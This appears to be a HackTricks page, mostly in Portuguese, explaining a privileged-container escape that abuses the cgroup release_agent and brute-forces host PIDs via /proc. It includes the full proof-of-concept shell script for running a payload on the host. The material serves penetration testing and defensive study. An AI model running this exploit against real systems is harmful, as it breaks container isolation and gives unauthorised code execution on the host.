{% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} {% endhint %} Para mais detalhes **verifique o blog post em [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. Isso é apenas um resumo: A técnica descreve um método para **executar código do host a partir de um contêiner**, superando desafios impostos por configurações de driver de armazenamento que obscurecem o caminho do sistema de arquivos do contêiner no host, como Kata Containers ou configurações específicas de `devicemapper`. Passos principais: 1. **Localizando IDs de Processo (PIDs):** Usando o link simbólico `/proc//root` no pseudo-sistema de arquivos Linux, qualquer arquivo dentro do contêiner pode ser acessado em relação ao sistema de arquivos do host. Isso contorna a necessidade de conhecer o caminho do sistema de arquivos do contêiner no host. 2. **Bash de PID:** Uma abordagem de força bruta é empregada para pesquisar PIDs no host. Isso é feito verificando sequencialmente a presença de um arquivo específico em `/proc//root/`. Quando o arquivo é encontrado, isso indica que o PID correspondente pertence a um processo em execução dentro do contêiner alvo. 3. **Acionando Execução:** O caminho do PID adivinhado é escrito no arquivo `cgroups release_agent`. Essa ação aciona a execução do `release_agent`. O sucesso desta etapa é confirmado verificando a criação de um arquivo de saída. ### Processo de Exploração O processo de exploração envolve um conjunto mais detalhado de ações, visando executar um payload no host adivinhando o PID correto de um processo em execução dentro do contêiner. Veja como se desenrola: 1. **Inicializar Ambiente:** Um script de payload (`payload.sh`) é preparado no host, e um diretório único é criado para manipulação de cgroup. 2. **Preparar Payload:** O script de payload, que contém os comandos a serem executados no host, é escrito e tornado executável. 3. **Configurar Cgroup:** O cgroup é montado e configurado. A flag `notify_on_release` é definida para garantir que o payload execute quando o cgroup for liberado. 4. **Força Bruta de PID:** Um loop itera através de PIDs potenciais, escrevendo cada PID adivinhado no arquivo `release_agent`. Isso efetivamente define o script de payload como o `release_agent`. 5. **Acionar e Verificar Execução:** Para cada PID, o `cgroup.procs` do cgroup é escrito, acionando a execução do `release_agent` se o PID estiver correto. O loop continua até que a saída do script de payload seja encontrada, indicando execução bem-sucedida. PoC do post do blog: ```bash #!/bin/sh OUTPUT_DIR="/" MAX_PID=65535 CGROUP_NAME="xyx" CGROUP_MOUNT="/tmp/cgrp" PAYLOAD_NAME="${CGROUP_NAME}_payload.sh" PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}" OUTPUT_NAME="${CGROUP_NAME}_payload.out" OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}" # Run a process for which we can search for (not needed in reality, but nice to have) sleep 10000 & # Prepare the payload script to execute on the host cat > ${PAYLOAD_PATH} << __EOF__ #!/bin/sh OUTPATH=\$(dirname \$0)/${OUTPUT_NAME} # Commands to run on the host< ps -eaf > \${OUTPATH} 2>&1 __EOF__ # Make the payload script executable chmod a+x ${PAYLOAD_PATH} # Set up the cgroup mount using the memory resource cgroup controller mkdir ${CGROUP_MOUNT} mount -t cgroup -o memory cgroup ${CGROUP_MOUNT} mkdir ${CGROUP_MOUNT}/${CGROUP_NAME} echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release # Brute force the host pid until the output path is created, or we run out of guesses TPID=1 while [ ! -f ${OUTPUT_PATH} ] do if [ $((${TPID} % 100)) -eq 0 ] then echo "Checking pid ${TPID}" if [ ${TPID} -gt ${MAX_PID} ] then echo "Exiting at ${MAX_PID} :-(" exit 1 fi fi # Set the release_agent path to the guessed pid echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent # Trigger execution of the release_agent sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" TPID=$((${TPID} + 1)) done # Wait for and cat the output sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Suporte ao HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} {% endhint %}